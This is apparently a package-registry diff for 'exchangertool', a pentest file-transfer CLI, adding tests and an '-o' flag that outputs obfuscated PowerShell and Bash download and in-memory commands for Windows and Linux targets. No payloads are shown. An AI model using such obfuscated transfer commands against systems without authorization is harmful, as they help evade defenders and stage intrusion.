| Requires-Dist: pytest>=7; extra == "dev" | ||
| Requires-Dist: pytest-cov; extra == "dev" | ||
| Dynamic: license-file | ||
@@ -17,2 +20,3 @@ | ||
| [](https://pypi.org/project/exchangertool/) | ||
| [](https://github.com/didntchooseaname/exchanger/actions/workflows/ci.yml) | ||
| [](https://opensource.org/licenses/MIT) | ||
@@ -27,3 +31,4 @@ | ||
| * **Quick Setup:** Spin up a file exchange server in seconds. | ||
| * **Cross-Platform Target Support:** Easily serves files to Windows (`certutil`, `curl`, `PowerShell`, `iwr`, `bitsadmin`) and Linux (`wget`, `curl`, `bash`) targets. | ||
| * **Cross-Platform Target Support:** Easily serves files to Windows (`certutil`, `curl`, `PowerShell`, `iwr`, `bitsadmin`) and GNU/Linux (`wget`, `curl`, `bash`) targets. | ||
| * **Optional obfuscation (`-o`):** Output only obfuscated receive and in-memory commands (PowerShell-Obfuscation-Bibleβstyle for Windows, Bashfuscator-style for GNU/Linux) to stdout for authorized testing. | ||
| * **Standalone CLI:** Runs smoothly from any terminal. | ||
@@ -54,3 +59,3 @@ * **Isolated Installation:** Perfectly compatible with `pipx` to avoid polluting your system Python environment. | ||
| ``` | ||
| - **Bind to port 80 without sudo** (Linux) by giving the binary permission to bind to low ports: | ||
| - **Bind to port 80 without sudo** (GNU/Linux) by giving the binary permission to bind to low ports: | ||
| ```bash | ||
@@ -90,2 +95,3 @@ sudo setcap 'cap_net_bind_service=+ep' "$(which exchanger)" | ||
| -h, --help show this help message and exit | ||
| -o, --obfuscate (serve/receive) output only obfuscated commands to stdout | ||
@@ -95,2 +101,3 @@ examples: | ||
| exchanger serve (target can GET or POST) | ||
| exchanger serve -o obfuscated one-liners to stdout (redirect to file/clipboard) | ||
| exchanger receive (host listens; target POSTs file to you) | ||
@@ -100,2 +107,15 @@ exchanger receive --dir /tmp --port 80 | ||
| ## π§ͺ Testing | ||
| CI runs the test suite on every push and pull request to `main`/`master`, and can be triggered manually (Actions β CI β Run workflow). | ||
| To run locally: | ||
| ```bash | ||
| pip install -e ".[dev]" | ||
| pytest tests/ -v | ||
| ``` | ||
| Optional: coverage report with `pytest tests/ --cov=exchanger --cov-report=term-missing`. | ||
| ## π€ Contributing | ||
@@ -102,0 +122,0 @@ |
| smbprotocol | ||
| tqdm | ||
| [dev] | ||
| pytest>=7 | ||
| pytest-cov |
@@ -9,2 +9,3 @@ LICENSE | ||
| exchanger/net_.py | ||
| exchanger/obfuscate_.py | ||
| exchanger/smb_.py | ||
@@ -16,2 +17,6 @@ exchangertool.egg-info/PKG-INFO | ||
| exchangertool.egg-info/requires.txt | ||
| exchangertool.egg-info/top_level.txt | ||
| exchangertool.egg-info/top_level.txt | ||
| tests/test_cli.py | ||
| tests/test_http.py | ||
| tests/test_net.py | ||
| tests/test_obfuscate.py |
+23
-3
| Metadata-Version: 2.4 | ||
| Name: exchangertool | ||
| Version: 0.1.3 | ||
| Version: 0.2.1 | ||
| Summary: Minimal CLI to send or receive files over HTTP or SMB. | ||
@@ -11,2 +11,5 @@ License-Expression: MIT | ||
| Requires-Dist: tqdm | ||
| Provides-Extra: dev | ||
| Requires-Dist: pytest>=7; extra == "dev" | ||
| Requires-Dist: pytest-cov; extra == "dev" | ||
| Dynamic: license-file | ||
@@ -17,2 +20,3 @@ | ||
| [](https://pypi.org/project/exchangertool/) | ||
| [](https://github.com/didntchooseaname/exchanger/actions/workflows/ci.yml) | ||
| [](https://opensource.org/licenses/MIT) | ||
@@ -27,3 +31,4 @@ | ||
| * **Quick Setup:** Spin up a file exchange server in seconds. | ||
| * **Cross-Platform Target Support:** Easily serves files to Windows (`certutil`, `curl`, `PowerShell`, `iwr`, `bitsadmin`) and Linux (`wget`, `curl`, `bash`) targets. | ||
| * **Cross-Platform Target Support:** Easily serves files to Windows (`certutil`, `curl`, `PowerShell`, `iwr`, `bitsadmin`) and GNU/Linux (`wget`, `curl`, `bash`) targets. | ||
| * **Optional obfuscation (`-o`):** Output only obfuscated receive and in-memory commands (PowerShell-Obfuscation-Bibleβstyle for Windows, Bashfuscator-style for GNU/Linux) to stdout for authorized testing. | ||
| * **Standalone CLI:** Runs smoothly from any terminal. | ||
@@ -54,3 +59,3 @@ * **Isolated Installation:** Perfectly compatible with `pipx` to avoid polluting your system Python environment. | ||
| ``` | ||
| - **Bind to port 80 without sudo** (Linux) by giving the binary permission to bind to low ports: | ||
| - **Bind to port 80 without sudo** (GNU/Linux) by giving the binary permission to bind to low ports: | ||
| ```bash | ||
@@ -90,2 +95,3 @@ sudo setcap 'cap_net_bind_service=+ep' "$(which exchanger)" | ||
| -h, --help show this help message and exit | ||
| -o, --obfuscate (serve/receive) output only obfuscated commands to stdout | ||
@@ -95,2 +101,3 @@ examples: | ||
| exchanger serve (target can GET or POST) | ||
| exchanger serve -o obfuscated one-liners to stdout (redirect to file/clipboard) | ||
| exchanger receive (host listens; target POSTs file to you) | ||
@@ -100,2 +107,15 @@ exchanger receive --dir /tmp --port 80 | ||
| ## π§ͺ Testing | ||
| CI runs the test suite on every push and pull request to `main`/`master`, and can be triggered manually (Actions β CI β Run workflow). | ||
| To run locally: | ||
| ```bash | ||
| pip install -e ".[dev]" | ||
| pytest tests/ -v | ||
| ``` | ||
| Optional: coverage report with `pytest tests/ --cov=exchanger --cov-report=term-missing`. | ||
| ## π€ Contributing | ||
@@ -102,0 +122,0 @@ |
+8
-1
@@ -7,3 +7,3 @@ [build-system] | ||
| name = "exchangertool" | ||
| version = "0.1.3" | ||
| version = "0.2.1" | ||
| description = "Minimal CLI to send or receive files over HTTP or SMB." | ||
@@ -15,2 +15,5 @@ readme = "README.md" | ||
| [project.optional-dependencies] | ||
| dev = ["pytest>=7", "pytest-cov"] | ||
| [project.scripts] | ||
@@ -22,1 +25,5 @@ exchanger = "exchanger.cli:main" | ||
| include = ["exchanger*"] | ||
| [tool.pytest.ini_options] | ||
| testpaths = ["tests"] | ||
| pythonpath = ["."] |
+19
-2
| # π Exchanger (exchangertool) | ||
| [](https://pypi.org/project/exchangertool/) | ||
| [](https://github.com/didntchooseaname/exchanger/actions/workflows/ci.yml) | ||
| [](https://opensource.org/licenses/MIT) | ||
@@ -13,3 +14,4 @@ | ||
| * **Quick Setup:** Spin up a file exchange server in seconds. | ||
| * **Cross-Platform Target Support:** Easily serves files to Windows (`certutil`, `curl`, `PowerShell`, `iwr`, `bitsadmin`) and Linux (`wget`, `curl`, `bash`) targets. | ||
| * **Cross-Platform Target Support:** Easily serves files to Windows (`certutil`, `curl`, `PowerShell`, `iwr`, `bitsadmin`) and GNU/Linux (`wget`, `curl`, `bash`) targets. | ||
| * **Optional obfuscation (`-o`):** Output only obfuscated receive and in-memory commands (PowerShell-Obfuscation-Bibleβstyle for Windows, Bashfuscator-style for GNU/Linux) to stdout for authorized testing. | ||
| * **Standalone CLI:** Runs smoothly from any terminal. | ||
@@ -40,3 +42,3 @@ * **Isolated Installation:** Perfectly compatible with `pipx` to avoid polluting your system Python environment. | ||
| ``` | ||
| - **Bind to port 80 without sudo** (Linux) by giving the binary permission to bind to low ports: | ||
| - **Bind to port 80 without sudo** (GNU/Linux) by giving the binary permission to bind to low ports: | ||
| ```bash | ||
@@ -76,2 +78,3 @@ sudo setcap 'cap_net_bind_service=+ep' "$(which exchanger)" | ||
| -h, --help show this help message and exit | ||
| -o, --obfuscate (serve/receive) output only obfuscated commands to stdout | ||
@@ -81,2 +84,3 @@ examples: | ||
| exchanger serve (target can GET or POST) | ||
| exchanger serve -o obfuscated one-liners to stdout (redirect to file/clipboard) | ||
| exchanger receive (host listens; target POSTs file to you) | ||
@@ -86,2 +90,15 @@ exchanger receive --dir /tmp --port 80 | ||
| ## π§ͺ Testing | ||
| CI runs the test suite on every push and pull request to `main`/`master`, and can be triggered manually (Actions β CI β Run workflow). | ||
| To run locally: | ||
| ```bash | ||
| pip install -e ".[dev]" | ||
| pytest tests/ -v | ||
| ``` | ||
| Optional: coverage report with `pytest tests/ --cov=exchanger --cov-report=term-missing`. | ||
| ## π€ Contributing | ||
@@ -88,0 +105,0 @@ |
Alert delta unavailable
Currently unable to show alert delta for PyPI packages.
64814
74.03%22
29.41%1207
98.52%